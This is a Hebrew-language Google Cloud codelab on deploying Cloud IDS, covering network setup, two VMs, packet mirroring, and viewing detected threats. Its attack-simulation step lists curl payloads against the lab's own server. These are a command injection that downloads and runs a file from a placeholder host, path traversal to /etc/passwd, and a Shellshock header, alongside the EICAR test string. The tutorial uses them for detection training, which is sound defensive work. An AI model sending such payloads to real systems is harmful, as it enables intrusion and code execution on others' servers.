Cloud IDS

1. מבוא

בשיעור ה-Lab הזה תפרסו את Cloud IDS, שירות מתקדם לגילוי חדירות מהדור הבא, שמספק גילוי איומים של פריצות, תוכנות זדוניות, תוכנות ריגול ומתקפות להשגת שליטה. תדמו מספר מתקפות ותראו את פרטי האיום ב-Cloud Console.

מה תלמדו

  • איך יוצרים נקודת קצה של Cloud IDS
  • איך יוצרים 2 מכונות וירטואליות באמצעות פקודות gcloud
  • איך יוצרים מדיניות רפליקציה של חבילות נתונים
  • איך מדמים תנועת מתקפה ממכונה וירטואלית
  • איך צופים בפרטי האיומים ב-Cloud Console וב-Cloud Logging

מה תצטרכו

  • ידע בפקודות בסיסיות של Linux

2. תרחישים לדוגמה לשימוש ב-Cloud IDS

‫Cloud IDS הוא שירות מקורי של Google Cloud לגילוי חדירות (IDS) מהדור הבא, שמאפשר ללקוחות לעמוד בדרישות מתקדמות לזיהוי איומים ולעמוד בתקנים כמו PCI 11.4. השירות מבוסס על טכנולוגיות האבטחה של Palo Alto Networks, ומספק גילוי חדירות מתקדם. שילוב של התשתית ברמה עולמית של Google Cloud עם אבטחה ברמה עולמית מבית Palo Alto Networks, מספק ללקוחות שילוב שאין לו מתחרים של שירות מנוהל מלא, ביצועים גבוהים ויעילות אבטחה גבוהה ביותר לזיהוי איומים מתקדמים.

האבטחה היא הדבר הכי חשוב ללקוחות שעוברים לענן. הם רוצים אמצעי אבטחה דומים לאלה שקיימים בשרתים המקומיים שלהם, כמו שירות זיהוי פריצות (IDS) בענן. הם מעדיפים מאוד להשתמש בפתרון IDS מנוהל שמותאם לענן, כדי להקל על הפריסה, לשפר את הביצועים ולצמצם את העלויות בהשוואה לפריסת פתרון אבטחה של צד שלישי ולניהול התשתית או להוספת חתימות משלהם. ‫Google Cloud IDS הוא שירות מנוהל של מערכת לגילוי חדירות (IDS) עם התאמה אוטומטית לעומס, מקצה לקצה, שמאפשר ללקוחות להקדיש את הזמן שלהם לניתוח איומים ולצמצום הסיכונים, ולא לבזבז זמן ומשאבים על ניהול התשתית או חתימות האיומים.

‫Cloud IDS נפרס מחוץ לשכבת הנתונים ויכול לזהות איומים ולהתריע עליהם, אבל הוא לא יכול לחסום אותם. הוא משתמש ברפליקציה של חבילות הנתונים ב-Google Cloud כדי ליצור עותק של תעבורת הנתונים ברשת, שנבדק באמצעות מנוע זיהוי האיומים של Palo Alto Network.

3. טופולוגיית Codelab

5a276f399e1d31e2.png

איור 1. סקירה כללית של ארכיטקטורת הפריסה של Cloud IDS בשיעור ה-Lab הזה.

4. הגדרה ודרישות

הגדרת סביבה בקצב אישי

  1. נכנסים ל-מסוף Google Cloud ויוצרים פרויקט חדש או משתמשים בפרויקט קיים. אם עדיין אין לכם חשבון Gmail או Google Workspace, אתם צריכים ליצור חשבון.

96a9c957bc475304.pngb9a10ebdf5b5a448.pnga1e3c01a38fa61c2.png

  • שם הפרויקט הוא השם המוצג למשתתפים בפרויקט. זו מחרוזת של תווים שלא נמצאת בשימוש ב-Google APIs, ואפשר לעדכן אותה בכל שלב.
  • מזהה הפרויקט חייב להיות ייחודי לכל הפרויקטים ב-Google Cloud, והוא קבוע (אי אפשר לשנות אותו אחרי שהוא מוגדר). מסוף Cloud יוצר באופן אוטומטי מחרוזת ייחודית. בדרך כלל לא צריך לדעת מה היא. ברוב סדנאות ה-Codelab, תצטרכו להפנות למזהה הפרויקט (ובדרך כלל הוא מזוהה כ-PROJECT_ID), אז אם אתם לא אוהבים אותו, תוכלו ליצור מזהה אקראי אחר, או לנסות ליצור מזהה משלכם ולראות אם הוא זמין. אחרי שהפרויקט נוצר, הוא 'קפוא'.
  • יש ערך שלישי, מספר פרויקט, שמשמש חלק מממשקי ה-API. מידע נוסף על שלושת הערכים האלה מופיע במאמרי העזרה.
  1. בשלב הבא, תצטרכו להפעיל את החיוב במסוף Cloud כדי להשתמש במשאבי Cloud או בממשקי API. העלות של התרגול הזה לא אמורה להיות גבוהה, ואולי לא תהיה עלות בכלל. כדי לכבות את המשאבים ולא לחייב אתכם מעבר למה שמוסבר במדריך הזה, צריך לפעול לפי ההוראות לניקוי שמופיעות בסוף ה-Codelab. משתמשים חדשים ב-Google Cloud זכאים לתוכנית תקופת ניסיון בחינם בשווי 300$.

מפעילים את Cloud Shell

אפשר להפעיל את Google Cloud מרחוק מהמחשב הנייד, אבל ב-Codelab הזה נשתמש ב-Google Cloud Shell, סביבת שורת פקודה שפועלת בענן.

ב-GCP Console, לוחצים על סמל Cloud Shell בסרגל הכלים שבפינה הימנית העליונה:

bce75f34b2c53987.png

הקצאת המשאבים והחיבור לסביבה יימשכו רק כמה רגעים. בסיום התהליך, אמור להופיע משהו כזה:

f6ef2b5f13479f3a.png

המכונה הווירטואלית הזו כוללת את כל הכלים שדרושים למפתחים. יש בה ספריית בית בנפח מתמיד של 5GB והיא פועלת ב-Google Cloud, מה שמשפר מאוד את הביצועים והאימות ברשת. אפשר לבצע את כל העבודה ב-Lab הזה רק באמצעות דפדפן.

5. לפני שמתחילים

הפעלת ממשקי ה-API

ב-Cloud Shell, מוודאים שמזהה הפרויקט מוגדר

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

הפעלת כל השירותים הנדרשים

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. יצירת רשת VPC

רשת VPC

מ-Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

תת-רשת

מ-Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

גישה לשירות פרטי

מ-Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

מ-Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Firewall Rules

כדי לאפשר ל-IAP להתחבר למכונות הווירטואליות, צריך ליצור כלל חומת אש ש:

  • רלוונטי לכל מכונות ה-VM שרוצים לגשת אליהן באמצעות IAP.
  • מאפשר תעבורת נתונים נכנסת (ingress) מטווח כתובות ה-IP‏ ‎35.235.240.0/20. הטווח הזה מכיל את כל כתובות ה-IP שמשמשות את IAP להעברת TCP.

מ-Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

כדי לאפשר ליציאת HTTP רגילה (TCP 80) ולפרוטוקול ICMP להתחבר לשרת:

  • רלוונטי למשאבים עם תג הרשת 'server'
  • מאפשר תעבורה נכנסת מכל המקורות

מ-Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

יצירת מופע של Cloud NAT

Cloud Router

מ-Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

מ-Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. יצירת נקודת קצה של Cloud IDS

בקטע הזה, יוצרים נקודת קצה של Cloud IDS באזור us-east1, עם רמת חומרה שמוגדרת כמידע. יצירת נקודת הקצה של IDS נמשכת כ-20 דקות.

נקודת קצה של IDS

מ-Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

אימות ההפעלה של נקודת הקצה של Cloud IDS

gcloud ids endpoints list --project=$PROJECT_ID

פלט –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. יצירת 2 מכונות וירטואליות

בקטע הזה, יוצרים 2 מכונות וירטואליות. הראשון יהיה שרת האינטרנט שלכם, שמשוכפל ל-Cloud IDS. המכונה הווירטואלית השנייה תהיה מקור תנועת התקפה.

מכונה וירטואלית 1 (שרת)

מ-Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

מכונה וירטואלית 2 (לקוח)

מ-Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. הכנת השרת

במשימה הזו תאמתו את השרת ותספקו מטען ייעודי (payload) של תוכנות זדוניות לא מזיקות עבור הלקוח.

התחברות למכונה הווירטואלית באמצעות SSH דרך Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

אישור ששירות האינטרנט פועל

sudo systemctl status nginx

פלט – אימות שהאפליקציה פעילה ופועלת

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

שינוי ספרייה לשירות אינטרנט

cd /var/www/html/

יצירת קובץ תוכנה זדונית לא מזיקה בשרת האינטרנט

sudo touch eicar.file

הדבקת התוכן

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

חזרה ל-Cloud Shell

exit

איך יוצרים מדיניות רפליקציה של חבילות נתונים ב-Cloud IDS

מזהים את כלל העברת התנועה של נקודת הקצה של IDS ומוודאים שהמצב של נקודת הקצה של IDS הוא READY (מוכן).

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

פלט לדוגמה – מעתיקים את הערך מ-endpointForwardingRule

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

שומרים את כלל ההעברה של נקודת הקצה של IDS במשתנה.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

מדיניות רפליקציה של חבילות נתונים

מ-Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

אימות של מדיניות הרפליקציה של חבילות נתונים

מ-Cloud Shell

gcloud compute packet-mirrorings list

פלט

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. הדמיה של תנועת נתונים של מתקפה

התחברות ב-SSH למכונה הווירטואלית של התוקף (לקוח)

מ-Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

מריצים את בקשות ה-curl הבאות כדי לדמות תנועה זדונית.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

יוצאים מהמכונה הווירטואלית כדי לחזור אל Cloud Shell

exit

11. בדיקת איומים שזוהו על ידי Cloud IDS

ניווט אל לוח הבקרה של Cloud IDS

תפריט הניווט > אבטחת רשת > Cloud IDS

37583419aa604aa8.png

עוברים לכרטיסייה Threats (איומים).

b7d934f409b4e2b.png

כפי שאפשר לראות, Cloud IDS תיעד פרופילים שונים של תעבורת נתונים של התקפות וסיפק את הפרטים על כל איום. אם לא מופיעים איומים, יכול להיות שתצטרכו ללחוץ על הלחצן 'רענון'. עכשיו נתעמק קצת יותר ונציג את פרטי האיום.

מאתרים את האיום 'Bash Remote Code Execution Vulnerability' (פגיעות ב-Bash שמאפשרת הפעלת קוד מרחוק), לוחצים על סמל האפשרויות הנוספות (3 נקודות) משמאל ובוחרים באפשרות 'הצגת פרטי האיום'.

b122b30dd8d43d9b.pngee1b201a12db7ef7.png

עכשיו נציג את פרטי האירוע הזה ב-Cloud Logging. כדי לחזור לדף 'איומים', לוחצים על החץ שמאלה .

לוחצים על סמל האפשרויות הנוספות (3 נקודות) בצד שמאל ואז על 'הצגת יומני איומים'.

b122b30dd8d43d9b.pngff0d5a0d652ddd83.png

אותם פרטים מועברים ל-Cloud Logging. כך תוכלו לשלוח את היומנים ל-Cloud Storage, ל-Chronicle או לכל SIEM/SOAR. אפשר גם ליצור תהליכי עבודה בהתאמה אישית כדי לבצע פעולות לתיקון בעיות על סמך התראות. לדוגמה, אפשר ליצור פונקציית Cloud שמופעלת כשמתקבלת התראה, וליצור או לעדכן כלל של חומת אש כדי לחסום את כתובת ה-IP, או ליצור או לעדכן מדיניות של Cloud Armor.

12. שלבי הניקוי

יציאה ממופע ב-VM (כל הכרטיסיות)

exit

מחיקת רכיבי מעבדה ממסוף Cloud Shell יחיד

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. מעולה!

כל הכבוד, סיימתם את ה-Codelab.

מה נכלל

  • תרחישים לדוגמה לשימוש ב-Cloud IDS
  • דרישות רשת
  • ממשקי API נתמכים
  • יצירת נקודת קצה של Cloud IDS
  • נפרסו 2 מכונות וירטואליות
  • נוצרה תנועה מסוימת של 'מתקפות' מהלקוח
  • מערכת IDS זיהתה איומים מאומתים
  • בדיקת פרטי האיומים והיומנים